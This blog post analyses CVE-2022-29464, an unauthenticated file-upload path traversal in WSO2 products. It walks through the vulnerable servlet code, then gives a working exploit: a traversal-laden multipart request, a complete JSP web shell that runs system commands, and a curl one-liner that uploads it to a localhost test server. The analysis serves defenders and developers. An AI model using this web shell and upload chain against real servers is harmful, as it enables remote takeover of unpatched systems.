Deep Dive into the CVE-2022-29464 RCE exploit

Deep Dive into the CVE-2022-29464 RCE exploit

WSO2 is the leading API Management solution company. It provides various software products for connecting, managing, and securing APIs (Application Programming Interfaces). Organizations in various industries, including financial services, healthcare, government, telecommunications, and retail, use WSO2 products.

In April 2022, security researchers recently found a critical vulnerability in certain WSO2 products that allowed remote unauthenticated attackers to run an arbitrary code. The issue was discovered by Orange Tsai, leading to unrestricted arbitrary file upload that allows unauthenticated attackers to gain remote code execution on WSO2 servers by uploading malicious JSP files.

The list of vulnerable WSO2 products and versions is really wide:

  • WSO2 API Manager 2.2.0 and above through 4.0.0;
  • WSO2 Identity Server 5.2.0 and above through 5.11.0
  • WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0
  • WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0
  • WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0
  • WSO2 Open Banking AM 1.4.0 up to 2.0.0
  • WSO2 Open Banking KM 1.4.0 up to 2.0.0

In this post, we will explain how the most recent critical vulnerability, CVE-2022-29464 works and unpack the exploit and its root cause. This post would be interesting for enterprise security architects and Java developers to learn secure coding techniques.

WSO2 Exploit Deep Dive

Let's take a look at the WSO2 API Manager application. The API Manager is a completely open-source API management platform that provides support for API design, publishing, lifecycle management, application development, security, rate limiting, API statistics, and connecting APIs, API products, and endpoints.

To easily create a testing environment, you can use Docker to run WSO2 API Manager 4.0.0. The Docker image for WSO2 API Manager 4.0.0 can be found at https://hub.docker.com/r/wso2/wso2am.

docker run -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name api-manager wso2/wso2am:4.0.0

After running the image, the web interface will be available at https://localhost:9443/.

The vulnerable upload route is /fileupload, which is handled by the FileUploadServlet servlet. This route is unprotected by IAM, as can be seen in the identity.xml configuration file.

That route is unprotected by default. The function handleSecurity() is responsible for securing the different routes. It provides a mechanism for performing security checks on received HTTP requests. If the default login measure is not in place, handleSecurity() will call CarbonUILoginUtil.handleLoginPageRequest(), and access to the requested URI will be granted or denied based on the return value of this function.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/CarbonSecuredHttpContext.java:

071:     public boolean handleSecurity(HttpServletRequest request, HttpServletResponse response)
072:             throws IOException {
073:         String requestedURI = request.getRequestURI();
...
196:         if ((val = CarbonUILoginUtil.handleLoginPageRequest(requestedURI, request, response,
197:                 authenticated, context, indexPageURL)) != CarbonUILoginUtil.CONTINUE) {
198:             if (val == CarbonUILoginUtil.RETURN_TRUE) {
199:                 return true;    

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/CarbonUILoginUtil.java:

555: protected static int handleLoginPageRequest(String requestedURI, HttpServletRequest request,
556: HttpServletResponse response, boolean authenticated, String context, String indexPageURL)
557: throws IOException {
558: if (requestedURI.indexOf("login.jsp") > -1
559: || requestedURI.indexOf("login_ajaxprocessor.jsp") > -1
560: || requestedURI.indexOf("admin/layout/template.jsp") > -1
561: || requestedURI.endsWith("/filedownload") || requestedURI.endsWith("/fileupload")
562: || requestedURI.indexOf("/fileupload/") > -1
563: || requestedURI.indexOf("login_action.jsp") > -1
564: || requestedURI.indexOf("admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp") > -1
565: || requestedURI.indexOf("tryit/JAXRSRequestXSSproxy_ajaxprocessor.jsp") > -1)
...
594: } else {
595: if (log.isDebugEnabled()) {
596: log.debug("Skipping security checks for " + requestedURI);
597: }
598: return RETURN_TRUE;

The method handleLoginPageRequest() returns CarbonUILoginUtil.RETURN_TRUE if the route ends with /fileupload. When CarbonUILoginUtil.handleLoginPageRequest() returns CarbonUILoginUtil.RETURN_TRUE, handleSecurity() will also return true, granting access to the /fileupload URI without requiring authentication.

curl -k -X POST "https://127.0.0.1:9443/fileupload" -I

Next, look at the FileUploadServlet when it is initialized, then FileUploadExecutorManager loads FileUploadConfig namespace from XML configuration file carbon.xml.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java:

67: public class FileUploadExecutorManager {
...
80: public FileUploadExecutorManager(BundleContext bundleContext,
81: ConfigurationContext configCtx,
82: String webContext) throws CarbonException {
83: this.bundleContext = bundleContext;
84: this.configContext = configCtx;
85: this.webContext = webContext;
86: this.loadExecutorMap();
87: }

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java:

131: private void loadExecutorMap() throws CarbonException {
...
141: OMElement fileUploadConfigElement =
142: documentElement.getFirstChildWithName(
143: new QName(ServerConstants.CARBON_SERVER_XML_NAMESPACE, "FileUploadConfig"));
144: for (Iterator iterator = fileUploadConfigElement.getChildElements(); iterator.hasNext();) {
145: OMElement mapppingElement = (OMElement) iterator.next();
146: if (mapppingElement.getLocalName().equalsIgnoreCase("Mapping")) {
147: OMElement actionsElement =
148: mapppingElement.getFirstChildWithName(
149: new QName(ServerConstants.CARBON_SERVER_XML_NAMESPACE, "Actions"));
150: String confPath = System.getProperty(CarbonBaseConstants.CARBON_CONFIG_DIR_PATH);

/carbon-kernel/distribution/kernel/carbon-home/repository/conf/carbon.xml:

539: <FileUploadConfig>
540: <!--
541: The total file upload size limit in MB
542: -->
543: <TotalFileSizeLimit>100</TotalFileSizeLimit>
544:
545: <Mapping>
546: <Actions>
547: <Action>keystore</Action>
548: <Action>certificate</Action>
549: <Action>*</Action>
550: </Actions>
551: <Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
552: </Mapping>
553:
554: <Mapping>
555: <Actions>
556: <Action>jarZip</Action>
557: </Actions>
558: <Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
559: </Mapping>
560: <Mapping>
561: <Actions>
562: <Action>dbs</Action>
563: </Actions>
564: <Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
565: </Mapping>
566: <Mapping>
567: <Actions>
568: <Action>tools</Action>
569: </Actions>
570: <Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
571: </Mapping>
572: <Mapping>
573: <Actions>
574: <Action>toolsAny</Action>
575: </Actions>
576: <Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
577: </Mapping>
578: </FileUploadConfig>

Each action is processed by its own handler specified in the <Class> tag.

Now, look at the FileUploadServlet.doPost method. It handles a POST user request and uses fileUploadExecutorManager to parse it.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/FileUploadServlet.java:

53: protected void doPost(HttpServletRequest request,
54: HttpServletResponse response) throws ServletException, IOException {
55:
56: try {
57: fileUploadExecutorManager.execute(request, response);

Let's dive into the execute() method.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java:

97: public boolean execute(HttpServletRequest request,
98: HttpServletResponse response) throws IOException {
...
111: //TODO - fileupload is hardcoded
112: int indexToSplit = requestURI.indexOf("fileupload/") + "fileupload/".length();
113: String actionString = requestURI.substring(indexToSplit);

It splits the requested URI at the fileupload/ string, extracting whatever comes after it and assigning it to the actionString variable.

Based on actionString variable execute() method iterates through action handlers to find the corresponding action and executes it with the provided request and response objects.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/fileupload/FileUploadExecutorManager.java:

115: // Register execution handlers
116: FileUploadExecutionHandlerManager execHandlerManager =
117: new FileUploadExecutionHandlerManager();
118: CarbonXmlFileUploadExecHandler carbonXmlExecHandler =
119: new CarbonXmlFileUploadExecHandler(request, response, actionString);
120: execHandlerManager.addExecHandler(carbonXmlExecHandler);
121: OSGiFileUploadExecHandler osgiExecHandler =
122: new OSGiFileUploadExecHandler(request, response);
123: execHandlerManager.addExecHandler(osgiExecHandler);
124: AnyFileUploadExecHandler anyFileExecHandler =
125: new AnyFileUploadExecHandler(request, response);
126: execHandlerManager.addExecHandler(anyFileExecHandler);
127: execHandlerManager.startExec();

These are the handlers from carbon.xml. The problem is located in the toolsAny action handler — org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor.

Let's take a closer look at the local path generation for uploaded file in ToolsAnyFileUploadExecutor.

/carbon-kernel/core/org.wso2.carbon.ui/src/main/java/org/wso2/carbon/ui/transports/fileupload/ToolsAnyFileUploadExecutor.java:

34: public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {
...
37: public boolean execute(HttpServletRequest request,
38: HttpServletResponse response) throws CarbonException, IOException {
...
49: List<FileItemData> fileItems = getAllFileItems();
...
52: for (FileItemData fileItem : fileItems) {
53: String uuid = String.valueOf(
54: System.currentTimeMillis() + Math.random());
55: String serviceUploadDir =
56: configurationContext
57: .getProperty(ServerConstants.WORK_DIR) +
58: File.separator +
59: "extra" + File
60: .separator +
61: uuid + File.separator;
62: File dir = new File(serviceUploadDir);
63: if (!dir.exists()) {
64: dir.mkdirs();
65: }
66: File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
67: try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
68: fileItem.getDataHandler().writeTo(fileOutStream);
69: fileOutStream.flush();
70: }
...
73: fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
74: out.write(uuid);
75: }

In correct cases files are saved into /home/wso2carbon/wso2am-4.0.0/tmp/work/extra/$uuid/$filename. But, as you can see, the name attribute isn't validating or sanitizing. This causes a classic Path Traversal vulnerability at line 66. By manipulating the name attribute in a POST request, an attacker can go outside the serviceUploadDir directory and save files with any extension and content to any directory on the local machine where the rights are sufficient.

Let's try this.

POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: curl/7.85.0
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 185
------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="../../../../../testfile.tmp"; filename="testfile.tmp"
test
------WebKitFormBoundaryRXZulECZUI6kfQJ2--

Apache Tomcat is mainly used as a servlet container in WSO2 Carbon-based servers. An attacker can upload a JSP file that executes system commands.

rce.jsp:

<form>
<input name="c" type="text">
<input type="submit" value="run">
</form>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("c");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader cr = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = cr.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre><%=output %></pre>

All that remains is to find a folder that is accessible from the web interface to write the file.

To find the directory, you can check Tomcat configuration file, which is typically called *-server.xml

In that file, search for the appBase attribute, which is a part of the <Host> element. The appBase attribute specifies the directory where Tomcat stores the deployed WAR applications and their raw WAR files.

find /home/wso2carbon -type f -name '*server.xml'
grep -i 'appbase' -n10 /home/wso2carbon/wso2am-4.0.0/repository/conf/tomcat/catalina-server.xml

In this specific case, the Tomcat application base directory is located at /home/wso2carbon/wso2am-4.0.0/repository/deployment/server/webapps/. Let's look at the list of directories available for writing.

root@0e90b748ee61:/home/wso2carbon# ls -lia /home/wso2carbon/wso2am-4.0.0/repository/deployment/server/webapps/

total 16012
18193 drwxr-xr-x 1 wso2carbon wso2 4096 Dec 9 11:23 .
16741 drwxr-xr-x 1 wso2carbon wso2 4096 Dec 7 14:42 ..
18194 drwxr-xr-x 12 wso2carbon wso2 4096 Apr 20 2021 accountrecoveryendpoint
20016 drwxr-xr-x 4 wso2carbon wso2 4096 Dec 7 14:42 am#sample#calculator#v1
18718 -rw-r--r-- 1 wso2carbon wso2 12145 Apr 20 2021 am#sample#calculator#v1.war
...
18730 drwxr-xr-x 13 wso2carbon wso2 4096 Apr 20 2021 authenticationendpoint
21238 drwxr-xr-x 4 wso2carbon wso2 4096 Dec 7 14:42 client-registration#v0.17
19199 -rw-r--r-- 1 wso2carbon wso2 749964 Apr 20 2021 client-registration#v0.17.war
21280 drwxr-xr-x 4 wso2carbon wso2 4096 Dec 7 14:42 internal#data#v1
19200 -rw-r--r-- 1 wso2carbon wso2 180224 Apr 20 2021 internal#data#v1.war
21421 drwxr-xr-x 4 wso2carbon wso2 4096 Dec 7 14:42 keymanager-operations
19201 -rw-r--r-- 1 wso2carbon wso2 838076 Apr 20 2021 keymanager-operations.war
21491 drwxr-xr-x 4 wso2carbon wso2 4096 Dec 7 14:42 oauth2
19202 -rw-r--r-- 1 wso2carbon wso2 1048494 Apr 20 2021 oauth2.war

Then we will use the accountrecoveryendpoint directory, which is the first suitable one, to upload the rce.jsp file.

POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: curl/7.85.0
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 792
------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/accountrecoveryendpoint/rce.jsp"; filename="rce.jsp"
<form>
<input name="c" type="text">
<input type="submit" value="run">
</form>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("c");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader cr = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = cr.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre><%=output %></pre>
------WebKitFormBoundaryRXZulECZUI6kfQJ2--

You can now access the uploaded file and run commands on the target system.

This vulnerability can be easily exploited using the curl command-line tool.

curl -k -X POST "https://127.0.0.1:9443/fileupload/toolsAny" -F '../../../../repository/deployment/server/webapps/accountrecoveryendpoint/rce.jsp'=@rce.jsp

Such vulnerabilities, which don't require special conditions or privileges in the system or even authentication, can lead to serious consequences and complete server compromise. That's why it's extremely important to validate and sanitize user input to prevent these types of bugs.

Conclusion

In conclusion, the CVE-2022-29464, a critical vulnerability in certain WSO2 products, is a reminder of the importance of security in the digital landscape. This vulnerability easily allowed remote unauthenticated attackers to run arbitrary code, potentially leading to significant damage to affected organizations. While the issue has been addressed and patches released, it serves as a reminder for organizations to stay vigilant and regularly update their software to protect against potential vulnerabilities.

We hope that this post helped enterprise security architects and Java developers to learn from this exploit and use it as an opportunity to review their secure coding techniques. Thank you for reading!

Author: Ivan aLLy